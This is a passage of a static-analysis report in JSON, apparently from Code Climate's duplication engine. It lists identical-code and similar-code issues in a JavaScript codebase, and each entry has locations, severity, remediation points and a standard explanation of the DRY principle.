Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e788e65abb5a4f6fb80e4e6628fb6d10","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/settings_panels.js","lines":{"begin":17,"end":20}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/settings_panels.js","lines":{"begin":7,"end":10}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e788e65abb5a4f6fb80e4e6628fb6d10","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":40,"end":40}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":47,"end":47}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3f756c21d7aebceedb361afbef2d4a17","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":47,"end":47}},"remediation_points":360000,"other_locations":[{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":40,"end":40}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 47**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3f756c21d7aebceedb361afbef2d4a17","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":32,"end":34}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":243,"end":245}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"50b54b3d38d73c256194eed3de425376","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":243,"end":245}},"remediation_points":330000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":32,"end":34}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 46**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"50b54b3d38d73c256194eed3de425376","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_request.js","lines":{"begin":96,"end":103}},"remediation_points":1680000,"other_locations":[{"path":"app/assets/javascripts/merge_request.js","lines":{"begin":105,"end":112}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 91**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3d4aa6b1ed1ed8586dbb1479749be92","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_request.js","lines":{"begin":105,"end":112}},"remediation_points":1680000,"other_locations":[{"path":"app/assets/javascripts/merge_request.js","lines":{"begin":96,"end":103}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 91**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3d4aa6b1ed1ed8586dbb1479749be92","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/sidebar/mount_sidebar.js","lines":{"begin":75,"end":92}},"remediation_points":1680000,"other_locations":[{"path":"app/assets/javascripts/sidebar/mount_sidebar.js","lines":{"begin":94,"end":111}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 91**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"961bf4d63d82bd0547b50951a7db6c69","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/sidebar/mount_sidebar.js","lines":{"begin":94,"end":111}},"remediation_points":1680000,"other_locations":[{"path":"app/assets/javascripts/sidebar/mount_sidebar.js","lines":{"begin":75,"end":92}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 91**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"961bf4d63d82bd0547b50951a7db6c69","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":514,"end":533}},"remediation_points":1650000,"other_locations":[{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":522,"end":533}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 90**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e69530c757a3f18db186fc48d529606d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":522,"end":533}},"remediation_points":1650000,"other_locations":[{"path":"app/assets/javascripts/filtered_search/filtered_search_manager.js","lines":{"begin":514,"end":533}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 90**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e69530c757a3f18db186fc48d529606d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/badges/store/mutations.js","lines":{"begin":85,"end":99}},"remediation_points":1620000,"other_locations":[{"path":"app/assets/javascripts/badges/store/mutations.js","lines":{"begin":100,"end":114}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 89**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0407713555d3e0c75813d9f23089bcfd","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/badges/store/mutations.js","lines":{"begin":100,"end":114}},"remediation_points":1620000,"other_locations":[{"path":"app/assets/javascripts/badges/store/mutations.js","lines":{"begin":85,"end":99}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 89**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0407713555d3e0c75813d9f23089bcfd","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider 